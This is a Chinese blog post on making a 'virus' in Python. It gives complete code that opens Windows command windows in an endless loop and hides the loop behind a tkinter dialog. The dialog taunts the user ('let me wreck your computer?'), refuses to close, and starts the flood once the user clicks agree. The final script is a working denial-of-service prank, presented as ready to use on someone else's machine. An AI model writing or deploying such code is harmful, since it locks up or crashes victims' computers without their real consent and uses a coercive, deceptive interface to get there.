Python自制病毒

#前两天在刷抖音的时候看到一个打开cmd黑窗口的代码,就兴起了写一个类似无限窗口的代码的思路,现实现如下:#

新建黑窗口的代码:

import os
os.system("start cmd")#使用OS库新建一个cmd黑窗口

那么我们只要把他放进一个无限循环,就可以起到病毒的效果:

import os
while(True):
    os.system("start cmd")#让cmd黑窗口一直冒下去,起到病毒的效果

再封装进函数:

import os
def die:#把咱们的自制病毒放进函数里方便使用
    while(True):
        os.system("start cmd")#让cmd黑窗口一直冒下去,起到病毒的效果

但是这也太明显了,长了点眼睛都不会运行,起不到病毒的作用

那么,用tkinter加一个图形化界面,如下:

import tkinter as tk
import tkinter.messagebox
import random
from math import sin, cos, pi, log
from tkinter.constants import *
width = 888
height = 500
heartx = width / 2
hearty = height / 2
side = 11
if __name__ == '__main__':
    root = tk.Tk()
    root.title('¬‿¬')
    root.resizable(0, 0)
    root.wm_attributes("-toolwindow", 1)
    screenwidth = root.winfo_screenwidth()
    screenheight = root.winfo_screenheight()
    widths = 300
    heights = 100
    x = (screenwidth - widths) / 2
    y = (screenheight - heights) / 2 - 66
    root.geometry('%dx%d+%d+%d' % (widths, heights, x, y))  # 设置在屏幕中居中显示
    tk.Label(root, text='小可爱,让你电脑报废好吗', width=37, font=('宋体', 12)).place(x=0, y=10)
    def OK():  # 同意按钮
        root.destroy()
        die()  # 同意后运行咱们的死亡函数(这里还没加)
    def NO():  # 拒绝按钮,拒绝不会退出,必须同意才可以退出
        tk.messagebox.showwarning('¬‿¬', '再给你一次机会!')
    def closeWindow():
        tk.messagebox.showwarning('¬‿¬', '逃避是没有用的哦')
    tk.Button(root, text='好哦', width=5, height=1, command=OK).place(x=80, y=50)
    tk.Button(root, text='不要', width=5, height=1, command=NO).place(x=160, y=50)
    root.protocol('WM_DELETE_WINDOW', closeWindow)  # 绑定退出事件
    root.mainloop()

最终版本:


import tkinter as tk
import tkinter.messagebox
import random
import os
from math import sin, cos, pi, log
from tkinter.constants import *
width = 888
height = 500
heartx = width / 2
hearty = height / 2
side = 11
def die():
    while(True):
        os.system("start cmd")
if __name__ == '__main__':
    root = tk.Tk()
    root.title('¬‿¬')
    root.resizable(0, 0)
    root.wm_attributes("-toolwindow", 1)
    screenwidth = root.winfo_screenwidth()
    screenheight = root.winfo_screenheight()
    widths = 300
    heights = 100
    x = (screenwidth - widths) / 2
    y = (screenheight - heights) / 2 - 66
    root.geometry('%dx%d+%d+%d' % (widths, heights, x, y))  # 设置在屏幕中居中显示
    tk.Label(root, text='小可爱,让你电脑报废好吗', width=37, font=('宋体', 12)).place(x=0, y=10)
    def OK():  # 同意按钮
        root.destroy()
        die()  # 同意后运行咱们的死亡函数
    def NO():  # 拒绝按钮,拒绝不会退出,必须同意才可以退出
        tk.messagebox.showwarning('¬‿¬', '再给你一次机会!')
    def closeWindow():
        tk.messagebox.showwarning('¬‿¬', '逃避是没有用的哦')
    tk.Button(root, text='好哦', width=5, height=1, command=OK).place(x=80, y=50)
    tk.Button(root, text='不要', width=5, height=1, command=NO).place(x=160, y=50)
    root.protocol('WM_DELETE_WINDOW', closeWindow)  # 绑定退出事件
    root.mainloop()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值